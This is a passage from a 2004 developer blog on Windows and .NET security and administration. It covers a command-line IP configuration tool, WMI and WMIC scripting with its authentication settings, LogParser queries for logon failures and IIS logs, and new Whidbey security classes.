Recently some excellent posts on running as Non Admin showed up on aaron magosis' blog.

His newest toy is a toolbar for Internet Explorer which shows you under what account and security context IE is running (user/admin/power user). If you click on the user name you get all group memberships and privileges.

this is way cool.

 


For Your Favourites
Sunday, July 25, 2004 9:40:17 AM UTC  #   
 Saturday, July 24, 2004

Whidbey Watch

www.dotnet2themax.com has web app where you can browse all the assemblies from the .net framework and see what is added and changed in the current whidbey beta...very cool.


For Your Favourites
Saturday, July 24, 2004 12:22:07 PM UTC  #   

LookOut

i always loved Outlook - but searching in Outlook sucks.

Microsoft bought a tool called LookOut to index your folders and to do a *fast* search over *all* folders!!!

rocks!


For Your Favourites
Saturday, July 24, 2004 9:22:46 AM UTC  #   

A First Look at SQL Server 2005 for Programmers

Fellow DMers Bob Beauchemin, Niels Berglund and Dan Sullivan have their book on SQL Server 2005 (the database formerly known as yukon) out.

Highly Recommendend! I still thinks that Bob's "Essential ADO.NET" is THE book to have if you are working with .NET and Databases.

 


For Your Favourites
Saturday, July 24, 2004 8:20:39 AM UTC  #   
 Wednesday, July 21, 2004

Session Hijacking

Jeff Prosise wrote a nice article on msdn mag about making it harder to hijack asp.net session.

i am a little bit worried about performance - but hey - you can't have everything :)


For Your Favourites
Wednesday, July 21, 2004 5:17:21 PM UTC  #   

A New DM(UK) Guy

now that it's official...

starting in october, i will teach the Essential .NET Security class for DevelopMentor UK.

looking forward to it ;)

 


Work in Progress
Wednesday, July 21, 2004 6:16:41 AM UTC  #   
 Saturday, July 17, 2004

ASP.NET Security KB Articles

Hi,

there's a nice collection of asp.net security related articles in the ms knowledge base.


For Your Favourites
Saturday, July 17, 2004 9:03:33 AM UTC  #   
 Monday, July 12, 2004

SKYPE

i first took notice of skype through ingo's blog. today i wanted to try it...

skype is a free voice over ip / instant messenger app. the really impressing thing is that "it just works" :) even if both parties are behind a nat, skype can make a voice connection (unlike most of the p2p programs).

especially cool is the pocket pc version - now i have a wireless VoIP phone :))

recommended!


Misc
Monday, July 12, 2004 8:53:27 PM UTC  #   
 Sunday, July 11, 2004

*UPDATED* ifconfig for windows 2.1

ifconfig is a tool inspired by the unix ifconfig command. it let's you change the ip address, dns server and gateway from the command line. ifconfig2.11.zip (27,79 KB)

i recently added some new features to (and did a redesign using a far more elegant approach to the WMI managed API)

New Features

  • You can set multiple ip addresses, dns servers and gateways
  • A new trace option shows all the WMI return codes for diagnostics
  • You can now dump you current config to a file
  • IP address and netmask can now be set independently

Examples

get available network interfaces

ifconfig /s

get interface info (short)

ifconfig /eth n

get interface info (long)

ifconfig /eth n /s

set IP Address and Subnet Mask

ifconfig /eth n /ip 192.168.0.100 /mask 255.255.255.0

set multiple ip addresses

ifconfig /eth n /ip 192.168.0.100,192.168.0.101 /mask 255.255.255.0,255.255.255.0

set dns server

ifconfig /eth n /dns 192.168.0.5

set multiple dns servers

ifconfig /eth n /dns 192.168.0.5,192.168.0.6

set gateways (the first gateway gets a metric of 1, the second 2....)

ifconfig /eth n /gw 192.168.0.1,192.168.0.2

set dhcp (dns and ip address)

ifconfig /eth n /dhcp

set dhcp (dns or ip)

ifconfig /eth n /dhcpip or dhcpdns

dump the current tcp/ip configuration to a text file. you'll get the current config in ifconfig syntax. so just dump to a .cmd file - ready for reuse

ifconfig /eth n /dump home.cmd

the /t switch gives you more info about WMI return codes and the /doc switch brings you to this page.

TIP : sometimes ifconfig is a little slow on the first use after reboot. this disturbs my "hey, i got a cool command line utility to change the ip address" moments :) I just ngen it now to create a native image. is a little bit faster. maybe you want that, too. just type:

ngen ifconfig.exe

feedback is welcome.

 


Tools
Sunday, July 11, 2004 4:35:16 PM UTC  #   

WMIC ... and another way to change the IP Address from the Command Line

a very neat utility for windows xp and 2003 is wmic (pronounced wee-mek).

wmic gives you complete access to the WMI repository via the command line. similar to the design of netsh, wmic has two modes of operation : interactive and command line.

the interactive mode is a great way to explore the features of wmic. some examples.

you can access every WMI class by just typing its name - this will get all services on the current machine
path win32_service

you can alway get help in wmic with /?
path win32_service /?

as you can see that there are several commands available : GET, CALL, WHERE

to get all started services
path win32_service where started='true'

to drill down further
path win32_service where started='true' get /?

ok. so we only want the service names (think 'net start')
path win32_service where started='true' get Caption

to start a service we have to call a method on the service class, to get all available method type
path win32_service call /?

e.g.
path win32_service where Caption='Alerter' call StartService

WMIC has aliases for the most common WMI class names, so e.g
service maps to win32_Service
nic maps to win32_NetworkAdapter and
nicconfig maps to win32_NetworkAdapterConfiguration

you can get a list of all aliases if you type /?.

...and finally - another way to configure your tcp/ip stack from the command line :)

to get all network cards where tcp/ip is enabled
nicconfig where IPEnabled='true'

to get a shorter summary
nicconfig where IPEnabled='true' get Index, Caption

to change the IP adress
nicconfig where Index=1 call EnableStatic ("1.2.3.4"), ("255.255.255.0")

to change to DHCP
nicconfig where Index=1 call EnableDHCP

there are a whole bunch of other methods to call, just trype
nicconfig call /?

I wrote a little script i use for auditing systems - this basically gets some configuration values, acls, accounts a.s.o. a large part of the script could simply be exchanged by some wmic calls, e.g.

wmic bootconfig
wmic computersystem
wmic qfe
wmic startup
wmic logon
wmic process

a.s.o....handy!

Another cool feature of wmic is location transparency, this means that you once set the target machine (local is default) and credentials and you get a "remote wmic", some examples.

/node sets the target machine, or even cooler, the target machines. just provide a comma separated list of machine names or ip addresses and every wmic command will execute on all remote machines. /node:@list.txt reads the machine names from a file.

/user sets the remote credentials (if you don't want to use integrated auth)

/AuthLevel and /ImpLevel - see my previous post on Authentication and Impersonation Levels.

You can alway see the current settings by call the context command in wmic.

If you would have a text file with all machine names in your domain you could obtain all os version with the following command

wmic /node:@machines.txt os

You can even poll for WMI data, e.g.

wmic /node:server1 process get name, processid, threadcount /every:5

wmic also supports various output formats - the internal wmic processing is all xml - so you can transform that with xsl stylesheets. some are included but you can provide your own, e.g.

wmic service list full /format:hform.xsl > out.html

gives you a html file with all services and their properties.

cool.


Work in Progress
Sunday, July 11, 2004 8:49:02 AM UTC  #   
 Tuesday, July 06, 2004

Connecting to WMI ... and security

What confused me right from the start was, that there seem to be several ways to connecto to WMI. Every sample script i studied used a slightly different technique.
That's because the API has so much possibilities and shortcuts to get to the data you want. Typically (i will talk about WSH here only, because i did most of the experiments with scripting) there are two ways to connect - using a SwbemLocator object or through a moniker.

I will discuss the "traditional" way first and then show you several shortcuts using the moniker method. oh yeah - and i will talk about the several ways to adjust security settings.

The Object Way
Normally there a three objects involved when you want to access a wmi object.

SwbemLocator (returns a)
SwbemService (returns a)
SwbemObject

The SwbemLocator object let's you connect to a WMI Service - local or remote. You can use integrated security, which means that your current logon (domain or local) is used to connect, or you can specify different credentials. The WMI service you connect to, will impersonate the account - in either way. WMI support both Kerberos and NTLM.

BTW - you can only specify security credentials using the locator way of connecting to WMI - if you are using monikers you are tied to integrated security. which is not that bad, because it keeps the hardcoded admin passwords out of those scripts...

First, you create a SwbemLocator object with

Set objLocator = CreateObject("WbemScripting.SwbemLocator")

The WMI Locator object has only one Method which is called ConnectServer (and a property called Security_ which i will talk about later).

ConnectServer will ultimately return a SwbemService object which represents the WMI service you connected to.

Calling ConnectServer without parameters will connect you to the local WMI service using integrated security.

Set objSvc = objLocator.ConnectServer()

All other parameters are optional - see the WMI SDK for more info.

Other common ways of using ConnectServer:

Connect to a remote Machine (using the 'root\cimv2' namespace and different credentials)
Set objSvc = objLocator.ConnectServer("Server1", "root\cimv2", "administrator", "standard")

or connect to a remote machine (using the standard namespace - which is 'root\cimv2' - at least in xp/w2k3 and integrated security)
Set objSvc = objLocator.ConnectServer("Server1")

The SwbemService object that gets returned has several methods to retrieve the WMI objects that are managed by the WMI Service on the specific machine. The most common used methods are InstancesOf, which returns all instances of a WMI class, Get which let's you query key properties (see my previous post about keys) and ExecQuery - with which you can specifiy a WQL statement (very similar to SQL) to narrow down what objects you want to retrieve (and also to query key and non-key properties).

Set objSet = objSvc.InstancesOf("win32_NetworkAdapterConfiguration")
or
Set objSet = objSvc.ExecQuery("select * from Win32_NetworkAdapterConfiguration where IPEnabled='true'")

In both cases you get a collection of SwbemObjects which you can iterate over.

For Each objNic In objSet
 Wscript.Echo(objNic.Caption)
Next

The Get method only returns a single object - that's because Get queries the key property of an object - which is unique

Set objNic = objSvc.Get("win32_NetworkAdapterConfiguration.Index=1")
 

The Moniker Way

You can also connect to WMI using Monikers. This involves the GetObject statement in WSH. Depending on how much information you provide in the moniker, you will get a service or an object in return.

Service (local - default Namespace)
Set ObjSvc = GetObject("WinMgmgts:")

Service (local - 'root\cimv2' Namespace)
Set ObjSvc = GetObject("WinMgmgts:root/cimv2")

Service (remote - default Namespace)
Set ObjSvc = GetObject("WinMgmgts://Server1")

Service (remote - 'root\cimv2' Namespace)
Set ObjSvc = GetObject("WinMgmgts://Server1/root/cimv2")

Object (local - return drive c:)
Set ObjSet = GetObject("WinMgmts:win32_LogicalDisk.DeviceId='C:'")

or a combination of both (gets all processes)
Set objProcs = GetObject("WinMgmts:").InstancesOf("win32_Process")
respectively (gets all services which are configured to auto start but are not running)
Set objProcs = GetObject("WinMgmts:").ExecQuery("select * from win32_service where StartMode = 'Auto' and Started = 'false'"


So you can see that both methods are equivalent in functionality and can be mixed. the only big difference between both approaches is when it comes to security.


Security

As i mentioned before, you can specify different credentials while connecting with a SwbemLocator object -

you can't do that with a moniker.

All the other settings apply to both ways.

Authenication Level
WMI is backed up by DCOM - so you can set the usual auth levels you are already accustomed to. These range from Connect (which authenticates the first connect - but not the subsequent calls) to PacketPrivacy (which encrypts and integrity protects every single network packet). Needless to say that i recommend PacketPrivacy

because you don't want that someone else can read or tamper with you management data. especially when you send credentials (and in that case admin passwords) over the wire.

objLocator.Security_.AuthenticationLevel = wbemAuthenticationLevelPkt
or
Set objSvc = GetObject("WinMgmts:{impersonationLevel=impersonate,"& _                "authenticationLevel=pktPrivacy}!root/cimv2")

Rant #1

The authentication level is set to packet by default (win xp box). That means that every single packet is _just_ authenticated. no encryption, no integrity checks. and even more odd - this only applies to remote connections - local connection have a level of PacketPrivacy by default...so a wire is more trustworthy than my motherboard?? Watch out for Rant #2 - which just goes in the opposite direction.

Impersonation Level
The default impersonation level is set to Impersonate - which is fine unless your script doesn't do two networks hops. That could happen if you connect to a remote WMI service which in turn call out to a remote resource, e.g. another file system. Think about the following scenario : You want to install software on a remote machine and this machine has to pull the msi file from a share....

You have two choices here -

If you choose a ImpersonationLevel of 'Impersonate' the remote WMI service will not have the appropriate token to use your account to call out to the network - it will use the machine account (e.g. SERVER1$).

If you choose a ImpersonationLevel of 'Delegate' your credentials will be delegated to the back end file server to access the file. This has some implications which are out of scope for this entry, e.g. enable delegation for the server in Active Directory.

In both cases make sure the right account has read rights for the remote resource, e.g. the msi file.

objLocator.Security_.ImpersonationLevel = wbemImpersonationLevelImpersonate
Set Service = GetObject("winmgmts:{impersonationLevel=impersonate}")
Set Service = GetObject("WinMgmts:{impersonationLevel=delegate}!//Instructor/root/cimv2")


Privileges
An interesting concept of WMI is, that you have to specifiy which privileges are needed to carry out the requested action. Let me give you an example.

When you want to shut down your machine via WMI - this wouldn't work:

Set objSvc = GetObject("WinMgmts:")
Set objSet = objSvc.ExecQuery("select * from Win32_OperatingSystem where Primary = 'true'")

For Each opSys In objSet
 WScript.Echo opSys.Caption
 opSys.Shutdown()
Next

The problem with the code is, that you have to specify that you want the Shutdown privilege to be enabled

(you can only enable privileges which are granted to you already - of course).
This would work instead.

Set objSvc = GetObject("WinMgmts:{(Shutdown)}")
or
Service.Security_.Privileges.AddAsString "SeShutdownPrivilege", True

You can even refuse privileges - watch this:

Set objSvc = GetObject("WinMgmts:{(!Shutdown)}")

This reminds me a little bit of .net code access security - at least from a user perspective. of course - i know, if you are writing low level c code you can achieve the same thing by disabling the privileges in your token - but hey this is vbscript.

This can shield your code from misuse, e.g. if you are writing a management app you can selectively enable and disable privileges that you don't need. Especially the string-based nature of the WMI interface may open up potential security holes like we see in SQL and HTML today. So refuse those privileges ! :)

So - a complete moniker could look like this (see also):

WinMgmts:{ImpersonationLevel=Impersonate, AuthenticationLevel=PktPrivacy,(Shutdown,
!Debug)}!//w2k3netdev/root/cimv2

Rant #2 - A Big One

This nice 'feature' of enabling and disabling privileges only works when you connect to your local machine.

Citing the docs :

"For remote connections, this is not an issue. In other words, DCOM ensures that if the account being used has the required user right on the target computer, the script does not need to also set this privilege.
Setting or revoking the privilege has no effect on the account's user right"

So i guess the whole privileges thing is more a limitation than a feature. sad but true.

 


Work in Progress
Tuesday, July 06, 2004 2:48:05 PM UTC  #   

WMI - getting started

Recently i did some fair amount of WMI investigations for a client. Surely - i used WMI before, e.g. to quickly set up some admin scripts or to realize my great ifconfig tool :)

But this time i wanted to learn it from the ground up, and i must say that this stuff is very, very powerful.

WMI is a technology to manage nearly every aspect of your Windows landscape. The CIM repository (that's where the schema of the manageable objects is stored) includes over 10,000 classes out of the box - and you can extend the repository with so called providers. Some providers are included but have to be installed manually. e.g. the SNMP provider which gives you a way to access the SNMP protocol (and thus everything that's exposed by SNMP) through WMI. Other popular add-on providers are SQL Server (everything that Enterprise Manager can do) and Exchange (complete monitoring in E2K and monitoring and configuration in E2K3)

Standard providers include:

  • The WIN32 Provider
  • Performance Counter Provider
  • Directory Services Provider
  • Event Log Provider
  • Windows Installer Provider
  • Terminal Services Provider

A provider consists of a piece of code that actually retrieves or sets the information and a schema that describes the exposed information (properties) and what actions can be performed on that class (methods). That schema is described in a MOF (Management Object Format compare to SNMP MIB) file. These files have IDL format (yes - Interface Definition Language...remember COM?) and get compiled and added to the repository with a tool called mofcomp.exe (you can find all the stuff in \windows\system32\wbem).

WMI is more than hacking up some scripts - you have to understand the basic structure of the CIM and how classes relate to each other - after that you just have to find the right classses for the your job and figure out how to set the properties and properly call the methods.

Some terminology:

Class
Schema of a exposed object - contains definitions for properties and methods. Classes support the notion of an identity. Every class includes at least one 'key property' which will make the various instances of the class unique (think database primary key). You can use this key property to directly access instances through monikers (more on that later)

Qualifiers, Methods_, Properties_
Think of them as the metadata for WMI. The Methods_ and Properties_ property expose the property and methods definitions so you can reflect against them. Qualifiers describe the datatypes and their allowed ranges, e.g. if a property is readonly or read/write, in, out, in/out parameters a.s.o. Have a look at the Scriptomatic Tool which uses this metadata to build scripts.

Instance (or Object)
Instances are a concrete manifestations of a class that represents a specific Management Object, e.g. i have 15 instances of the class win32_NetworkAdapter on my local machine. Every instance has a unique key property called Index.
You normally access WMI to get some instances of a class (e.g. via WQL query) and interrogate or manipulate this class with its properties and methods, e.g. after choosing a particular instance of my network adapter, i can set a IP address a.s.o.

Associator
Think of a associator as something like a primary/foreign key relationship between WMI classes which you can traverse, e.g. after enumerating the network adapters you want to display every protocol binding and the configuration details for each adapter - theres a association called win32_ProtocolBinding which points from the win32_NetworkAdapter to the win32_NetworkProtocol and win32_SystemDriver classes. You can traverse these association to retrieve the corresponding information from these objects.

OK - enough for now - i have some topics on WMI lined up for this blog, they will include some clarifications on how to connect to WMI repositories (and those security details), some samples scripts and more info on WMIC (a WMI command line tool - and yes - i will present another way of changing the IP address from the command line, too :)

btw - i am currently rewriting ifconfig to include my new WMI knowledge - so i will explain some of the concepts of accessing WMI from managed code in the future - so stay tuned.

Some links to get you started:

 


Work in Progress
Tuesday, July 06, 2004 8:37:37 AM UTC  #   
 Thursday, July 01, 2004

Amberpoint Express and VS 2005

the VS.NET 2005 Beta 1 is available via MSDN Subscriber Download!!!

There's a new download below the VS.NET 2005 section called Amberpoint Express - never heard of that (not from ms nor in any blog... - and i thought that i already hang out for too long in front of the monitor spelunking :). checking the download details, i get the following explanation:

  • View Web service performance in real time
  • Drill down into SOAP messages to see performance bottlenecks and errors
  • Inspect SOAP messages for content, faults and errors
  • Resubmit messages from history or auto-generate new SOAP messages
  • Integrated with Visual Studio 2005 for point-and-click management

ok....

a little more googling revealed that there is a company called Amberpoint. They have a product called Amberpoint Express - you can take a online tour here.

Hmm. Seems like it's a free download and the info page states that Amberpoint Express works with .NET 1.1, .NET 2.0 Beta 1, Apache/Axis and WebSphere. MSDN says that their download is "specifically designed for web services created with vs.net 2005 beta 1". We'll see. I am excited (but watching my 16.4 kbit download rate from msdn - i get a little sad..).

What else is new on the subscribe downloads site?

  • MSDN Library for Visual Studio 2005 Beta 1
  • Visual Studio 2005 Beta 1
  • Remote Debugger Tools for Visual Studio 2005 Beta 1
  • Visio Tools for Visual Studio 2005 Beta 1

na dann los :)


Work in Progress
Thursday, July 01, 2004 7:31:13 PM UTC  #   

What's new in .NET 2.0 Beta 1 ASMX

Yasser, Matt and Elliot provide a good high level overview of the new web service features upcoming in .NET 2.0


For Your Favourites
Thursday, July 01, 2004 6:18:49 AM UTC  #   

VS.NET and non-Admins

Yesterday there was a discussion on a SecurityFocus Mailing-List about the different problems one can have when running VS.NET as non-Admin. A guy from yale.edu posted a link from the msdn academic web site with some interesting instructions

http://www.msdnaa.net/solutions/dotnetdevvsgroups.pdf

The TOC reads as follows :

  • Visual Studio .NET User
  • The “Debugger Users” User
  • Manually Creating the “Debugger Users”
  • The “VS Developers” User
  • Debugging ASP.NET Web Applications and Services
  • Securing Remote Debug

This adds up to the "standard" documents which should be in your favourites folder already.

Keith Brown on developing as non-Admin
Lars Bergstrom from the Visual Studio Team


For Your Favourites
Thursday, July 01, 2004 5:12:23 AM UTC  #   
 Wednesday, June 30, 2004

Security Changes in ASP.NET 2.0

continuing my "Security in Whidbey" collection, there's a new article on MSDN describing the new security features in ASP.NET 2.0. Another one (from our favourite security geek :) can be found here.


Security in Whidbey
Wednesday, June 30, 2004 4:44:51 AM UTC  #   
 Saturday, June 26, 2004

Fun with LogParser

this morning i had some free time (and also was fed up with WMI, with which i was experimenting the last days) - so i opened my ever growing outlook task list and one entry catched my attention "check out LogParser!".

cool - that's fun. so i installed the IIS 6 Resource Kit Tools which includes the newest version of LogParser (which is 2.1).

LogParser is a tool from Microsoft to (hey the name says it :) parse Log Files. Supported formats include IIS log files, Windows Event log files, URLSCAN logs, IIS 6 HTTPERR logs, CSV files, generic text files and some more.

You can query those files with sql syntax which is very nice. Ouput formats include text or sql tables or xml.

What i always wanted to do is to write some little scripts to check several security related logs on my web server.

First i started to query some event log data.

The following query gives all events from the system eventlog, ordered by number of occurences and event type (error, warning, info). this gives a good overview of the most common types of errors on the system (the -O:DATAGRID parameters opens a window and shows all results in a data grid).

logparser "select distinct EventID, EventTypeName, Message, Count(*) as Entries from System group by EventID, Message, EventTypeName order by EventTypeName, Entries DESC" -i:EVT -o:DATAGRID

Another thing i am interested in, is to see failed logon attempts to the machine.

logparser "select distinct SID from Security where EventID IN (529; 530; 531; 532; 533; 534; 535; 537; 539)"

A very nice feature of LogParser is the ability to resolve SIDs to account names. The RESOLVE_SID function does this.

logparser "select distinct SID, RESOLVE_SID(SID) as Username from Security where EventID IN (529; 530; 531; 532; 533; 534; 535; 537; 539)

Now i turned my attention to querying several IIS log files. First i wanted to see the IP addresses with the most rejected pakets in URLSCAN.

logparser "SELECT TOP 10 ClientIP, COUNT(*) as Entries FROM URLSCAN WHERE Comment LIKE 'Url%' GROUP BY ClientIP ORDER BY Entries DESC" -o:DATAGRID

Comparable to RESOLVE_SID LogParser include the RESOLVEDNS function which can resolve IP addresses to DNS names. This is very slow but can come in handy.

logparser "SELECT TOP 10 REVERSEDNS(ClientIP), COUNT(*) as Entries FROM URLSCAN WHERE Comment LIKE 'Url%' GROUP BY ClientIP ORDER BY Entries DESC" -o:DATAGRID

A similar query can be used to parse IIS 6 HTTPERR log entries.

logparser "SELECT TOP 10 src-ip, s-reason, Count(*) as Hits FROM HTTPERR group by src-ip, s-reason order by Hits DESC"

There's also an article on SecurityFocus which discusses forensic analysis of a web server with LogParser.

The Fun Part

DasBlog has a Referrer Menu where you can see what different kinds of RSS Reader are used to subscribe and how often they hit the web site. But you can only see the User-Agent names, not how many distinct IP addresses are behind these agents.

So i first wrote a query to see all User-Agents that sent requests to the server.

logparser "select distinct cs(User-Agent) from ex*.log order by cs(User-Agent)"

to see the corresponding IP addresses

logparser  "select distinct c-ip, cs(User-Agent) from ex*.log order by cs(User-Agent)"

To see how many hits the corresponding Agents and IP addresses have produced, use

logparser "SELECT distinct c-ip AS Client, cs(User-Agent), COUNT(*) as Hits FROM ex*.log group by cs(User-Agent), Client order by cs(User-Agent), Hits DESC"

..So if you want to see how many different people are using NewsGator, you can type

logparser "SELECT distinct c-ip AS Client, cs(User-Agent), COUNT(*) as Hits FROM ex*.log where cs(User-Agent) like 'news%' group by cs(User-Agent), Client order by cs(User-Agent), Hits DESC"

i like it!

Now my spare time is over and i can delete one entry from my task list (before adding several new ones :). maybe someone finds that useful.

I can also recommend having a look into the LogParser sample files included in the resource kit. they show some common queries and how you can use COM automation from scripts (there is also a sample script to find typical HTTP attack signatures in IIS Logs).

Another good LogParser resource is www.logparser.com, which includes a forum and a sample to use LogParser from C#

 


Work in Progress
Saturday, June 26, 2004 3:27:02 PM UTC  #   
 Sunday, June 20, 2004

netsh vs ifconfig

UPDATE : new version available

windows includes a handy little tool called 'netsh'. you can use this to completely configure your networking environment from the command line.

and when i say 'completely' i mean 'completely'. you can configure every aspect of windows networking (including ipsec, ras, tcp/ip, rpc a.s.o...). as you can imagine, the commandline for this beast gets rather complex....

i often work in different networking enviroments and have to change my ip configuration very often. for this reason i wanted an easy to use command line tool to quickly change my tcp/ip related configuration (you need 8 mouse clicks and 3 dialogs to do it with the gui, if you are running as admin...i'm not running as admin - so i need even more)

other reasons i wrote this tool were

  • i wasn't quite aware that there are several shortcuts in the netsh syntax to make it more usable
  • i wanted to experiment with the .net wmi classes

after sending the tool to keith, he commented that i built something that is already included in the os (yes, every single windows installation - no need to copy my tool on the machine - good point) and that the commandline syntax isn't that ugly as i thought (and he is partially right here, too). keith now wrote a blog entry about netsh - and i thought i should compare both tools now....

enumerating interfaces:

netsh:
You have to know the name of the network connection (the names in the network connections window) or use 'lo' as the standard network interface.

ifconfig:
ifconfig /s show all available network interfaces that support tcp/ip and gives you a number. this number can be used in subsequent use with the /eth n switch

setting ip address and subnet mask and default gateway

netsh:
netsh int ip set addr lo static 192.168.0.23 255.255.255.0 192.168.0.1

ifconfig:
ifconfig /eth 1 /ip 192.168.0.23 /mask 255.255.255.0 /gw 192.168.0.1

note : i haven't found a way to set only the default gw in netsh. in ifconfig that would be:

ifconfig /eth 1 /gw 192.168.0.1

setting dns

netsh:
netsh int ip set dns lo static 4.2.2.4 primary

ifconfig:
ifconfig /eth 1 /dns 4.2.2.4

switching to dhcp

netsh:
netsh int ip set addr lo dhcp

ifconfig:
ifconfig /eth 1 /dhcp

a ifconfig feature:
use ifconfig /eth 1 /s to show all the wmi has to say about this interface (similar as ipconfig on steroids)

a netsh feature:
keith forgot that.
whats handy in netsh is, that you can dump out your current ip configuration with

netsh int ip dump

e.g. to a text file and reimport that file later with

netsh -f config.txt

that's a nice feature! i will include that in a future version of ifconfig (but i will just dump out the correct commandline for ifconfig for the current configuration so you can directly use it in batch files :)

the diag stuff keith talks about was new to me and looks reasonable. but it is silly that diag for the mail server is hardwired to outlook express...

other stuff i want to add:

  • you can currently only set 1 ip and 1 gateway and 1 dns server (i am thinking about how to implement that without getting to complicated syntax-wise)
  • you can't currently set ip and netmask independently (will be fixed) - but, hey, netsh can't do that either :)
  • turning windows firewall on and off with ifconfig (that's currently not available in netsh before xp sp2)
  • settting the ie proxy (proxies are in general a pain...most often these two config changes go hand in hand - but if you are not running as admin, you have to change the ip config from a admin context, this will not be the context you are running ie in...but the proxy settings are user specific.so i am thinking about that...)

if you want to play around with ifconfig - you can get it here.
if you want to play with netsh - hey - it's included in windows ;)

if you have any feature suggestions or think thats totally useless - write a comment.
if you think - why doesn't he just use the mouse - write a comment, too :)

 


Work in Progress
Sunday, June 20, 2004 10:12:25 AM UTC  #   
 Saturday, June 19, 2004

XP SP2 Changes - New Document

a very detailed documentation of the changes in XPSP2

http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2chngs.mspx


For Your Favourites
Saturday, June 19, 2004 8:31:35 PM UTC  #   
 Friday, June 18, 2004

Network Ports Used by Key Microsoft Server Products

an interesting list of ports used by various microsoft servers & services

http://www.microsoft.com/smallbusiness/gtm/securityguidance/articles/ref_net_ports_ms_prod.mspx


For Your Favourites
Friday, June 18, 2004 6:39:52 PM UTC  #   
 Monday, June 07, 2004

A .NET Developers Guide to Windows Security

keith brown has an online version of his new book 'A .NET Developers Guide to Windows Security'.

I can only highly recommend reading this! it rocks!!! or as bruce schneier once said on 'hacking exposed': 'informational gold!'


For Your Favourites
Monday, June 07, 2004 3:07:24 PM UTC  #   
 Sunday, June 06, 2004

XMLSpy for Free

Those you know me know that i alway favoured XML Spy for all X-related editing.
Finally there is a free home edition! it include a lot of the regular product features.

unfortunately the WSDL designer and SOAP debugger stay in the enterprise edition :(

 


For Your Favourites
Sunday, June 06, 2004 10:36:34 AM UTC  #   
 Thursday, June 03, 2004

Managed SSL

In Whidbey there will be a SslStream class

  • Enables Apps to communicate over an SSL authenticated/enrypted stream
  • Supports client and server side of SSL connection
  • Also applies to remoting tcp/binary

cool!


Security in Whidbey
Thursday, June 03, 2004 11:25:45 PM UTC  #   
 Wednesday, June 02, 2004

Managed CreateProcessWithLogonW

In Whidbey the ProcessStartInfo class has three new properties

  • Domain
  • Username
  • Password

This will allow to start processes under another user account whithout having to use impersonation.

via shawnfa


Security in Whidbey
Wednesday, June 02, 2004 9:36:34 PM UTC  #   
 Tuesday, June 01, 2004

No More caspol -security off

In Whidbey you can't disable Code Access Security by using the caspol utility....

I think this is a step in the right direction....:)

...but you will still be able to change this behaviour by using

  • a registry key
  • SecurityManager.SecurityEnabled

read more...1...2

 


Security in Whidbey
Tuesday, June 01, 2004 8:07:50 AM UTC  #   
 Saturday, May 29, 2004

SSPI/Kerberos Support

In Whidbey you can use the NegotiateStream class to add SSPI support to your applications. now it is very easy to kerberize your apps.

Read more on that in Keith Brown's online book: remoting and sockets.


Security in Whidbey
Saturday, May 29, 2004 3:50:07 AM UTC  #   

Managed ACLs

Windows ACLs are now wrapped in the System.Security.AccessControl namespace. read more on that in keith brown's online book.


Security in Whidbey
Saturday, May 29, 2004 3:44:27 AM UTC  #   

Managed DPAPI

in Whidbey DPAPI calls to CryptProtectData and CryptProtectMemory are wrapped in the ProtectedData and ProtectedMemory classes. this is cool! find more info here and here.

If you need to use DPAPI in 1.1. - there are several managed wrappers out there.

A while ago i have written a whole set of tools around CryptProtectData. These include

  • A managed wrapper (supports user/machine store and optional entropy)
  • A command line and GUI Tool to encrypt and decrypt data
  • A single ASPX Page to encrypt and decrypt data

download


Security in Whidbey
Saturday, May 29, 2004 3:28:09 AM UTC  #   
 Friday, May 28, 2004

SecureString

I am trying to compile a list of new and useful security related features in whidbey. i you want to contribute - feel free so :)

The first thing i want to mention is the addition of the new SecureString class.

Strings in .NET:

  • are not pinned - the gc can move them around in memory leaving several copies in memory
  • while not pinned, can be swapped out to a pagefile
  • are not mutable - so whenever you change them you will have the old and new version in memory
  • cannot be cleared from memory
  • are not encrypted

SecureString will provide all these features - read more about that on this highly recommended blog.

Actually you can have this behaviour in .NET 1.1, too. For everything mentioned above (besides encryption) you can use thes ErasableData class (from Michael Howard - Writing Secure Code 2). Encryption can be established through the unmanaged CryptProtectMemory API.

public class ErasableData : IDisposable {

  private byte[] _rbSecret;
  private GCHandle _ph;
  public ErasableData(int size)
  {
    _rbSecret = new byte[size];
  }
  public byte[] Data {
    set {
      _ph = GCHandle.Alloc(_rbSecret, GCHandleType.Pinned);
      byte[] Data = value;
      Array.Copy(Data, _rbSecret, Data.Length);
    }
    get { return _rbSecret; }
  }
  public void Dispose() {
    Array.Clear(_rbSecret, 0, _rbSecret.Length);
    _ph.Free();
  }
}
 
and use it like:
 
using (ErasableData key = new ErasableData(16))
{
  key.Data = getPassword();
  //Do Encryption
}

Security in Whidbey
Friday, May 28, 2004 4:07:50 AM UTC  #   
 Wednesday, May 26, 2004

PluralSight

nearly everybody blogged about that - so i will do it, too :)

keith brown, fritz onion and aaron skonnard of developmentor fame started their own company called PluralSight. Don't miss that!!!

keith and fritz have a blog now. subscribed.


For Your Favourites
Wednesday, May 26, 2004 7:24:13 PM UTC  #   

New Toys this week

i thought i summarize that (so i find all the links in one place if i need them :)

microsoft released a bunch of new stuff this week - those were of particular interest for me:

  • WSE2 (here)
  • SQL Server Best Practices Analyzer (here)
  • Threat Modelling Tool (here)
  • New Whidbey Community Preview (only for MSDN subscribers)

For Your Favourites
Wednesday, May 26, 2004 5:49:23 AM UTC  #   
 Tuesday, May 25, 2004

WSE2 is out!!!

finally. get it here. and via aaron.

WSE 2.0 simplifies the development and deployment of secure Web services by enabling developers and administrators to more easily apply security policies on Web services running on the .NET Framework. Using WSE, Web services communication can be signed and encrypted using Kerberos tickets, X.509 certificates, username/password credentials, and other custom binary and XML-based security tokens. In addition, an enhanced security model provides a policy-driven foundation for securing Web services across trust domains. WSE also supports the ability to establish a trust-issuing service for retrieval and validation of security tokens, as well as the ability to establish more efficient long-running secure communication via secure conversations.

New support for message-oriented programming enables asynchronous communication for Web services that involve long-lived operations, batch processing, peer to peer programs, or event driven application models. Web services that leverage WSE can now be hosted in multiple environments including ASP.NET, standalone executables, NT Services and can communicate over alternative transports including HTTP or TCP.


For Your Favourites
Tuesday, May 25, 2004 11:00:02 AM UTC  #   
 Tuesday, May 18, 2004

AzMan Addendum

Remember SAFEARRAY and VARIANT ??? The AzMan API exposes some of its info in exactly these data types.

e.g. if you want to get a list of members of an application group you grab the Members property of the IAzApplicationGroup object.
Members is a VARIANT datatype which wraps a SAFEARRAY which in turn wraps the members of the application group.

Took me some time to figure out how to handle that in C#. so i thought i share the code with you...

public string[] GetApplicationGroupMembers(string ApplicationGroup)
{
 
